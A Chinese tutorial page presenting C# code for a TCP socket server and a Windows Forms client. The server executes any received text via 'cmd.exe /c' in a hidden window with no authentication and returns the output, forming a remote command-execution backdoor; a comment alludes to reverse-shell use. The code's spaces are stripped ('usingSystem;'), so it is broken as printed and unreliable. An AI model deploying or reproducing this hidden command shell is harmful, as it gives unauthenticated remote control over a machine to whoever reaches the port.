zl程序教程

您现在的位置是:首页 >  后端

当前栏目

C#实现的Socket服务器端、客户端代码分享

c#客户端代码 实现 分享 socket 服务器端
2023-06-13 09:15:40 时间

服务端:

usingSystem;
usingSystem.Collections.Generic;
usingSystem.Net;
usingSystem.Net.Sockets;
usingSystem.Text;

namespaceServer
{
classProgram
{
staticvoidMain(string[]args)
{
Socketserver=newSocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
IPEndPointpoint=newIPEndPoint(IPAddress.Parse("127.0.0.1"),55555);

try
{
server.Bind(point);
server.Listen(10);
//监听本地端口
System.Console.WriteLine("开始监听本地端口:55555");
while(true)
{
Socketsock=server.Accept();
byte[]buffer=newbyte[1024*1024];
intn=sock.Receive(buffer);
Stringcmd=Encoding.UTF8.GetString(buffer,0,n);
Stringresult=execCmd(cmd);
byte[]bytes=Encoding.UTF8.GetBytes(result);
sock.Send(bytes);
}


}
catch(Exceptionex)
{
System.Console.WriteLine(ex.Message);
return;
}
}

//重定向输入输出流,并且用cmd执行命令
privatestaticStringexecCmd(Stringcmd)
{
System.Diagnostics.Processp=newSystem.Diagnostics.Process();
p.StartInfo=newSystem.Diagnostics.ProcessStartInfo();
p.StartInfo.FileName="cmd.exe";
p.StartInfo.Arguments="/c"+cmd;
//隐藏程序外壳
p.StartInfo.WindowStyle=System.Diagnostics.ProcessWindowStyle.Hidden;
//在这里重定向输出即可,因为不是交互式的,如果需要交互式的直接反弹cmd即可
p.StartInfo.RedirectStandardOutput=true;
p.StartInfo.UseShellExecute=false;
p.StartInfo.CreateNoWindow=true;
p.Start();
returnp.StandardOutput.ReadToEnd();
}
}
}

客户端:

usingSystem;
usingSystem.Collections.Generic;
usingSystem.ComponentModel;
usingSystem.Data;
usingSystem.Drawing;
usingSystem.Net;
usingSystem.Net.Sockets;
usingSystem.Text;
usingSystem.Threading;
usingSystem.Windows.Forms;

/*
*CodeByiswin
*/


namespaceClient
{
publicpartialclassmain:Form
{
publicmain()
{
InitializeComponent();
this.ip.Text="127.0.0.1";
this.cmd.Text="ipconfig";
this.port.Text="55555";
}


privatevoidsend_Click(objectsender,EventArgse)
{
Socketclient=newSocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
Stringremoteip=this.ip.Text;
Stringcommand=this.cmd.Text;
IPAddressip=IPAddress.Parse(remoteip);
IPEndPointpoint=newIPEndPoint(ip,int.Parse(port.Text));
try
{
this.recvmsg.Text="开始连接服务端:"+remoteip+":"+port.Text+"\n";
client.Connect(point);
this.recvmsg.Text="连接服务端!\n给服务端发送指令:"+command;
byte[]buffer=Encoding.UTF8.GetBytes(command);

//讲输入的指令发送到服务端
client.Send(buffer);

//接受服务端返回的数据
recvmsgs(client);

client.Close();

}
catch(Exceptionex)
{
this.recvmsg.Text=ex.Message;
MessageBox.Show(ex.Message);
return;
}
}

//接受服务端发送来的消息
privatevoidrecvmsgs(Socketclient)
{
try
{
byte[]buffer=newbyte[1024*1024];
intsize=client.Receive(buffer);
Stringrecv=Encoding.UTF8.GetString(buffer,0,size);
this.recvmsg.Text="\n"+recv;
}
catch(Exceptionex)
{
MessageBox.Show(ex.Message);
return;
}
}
}
}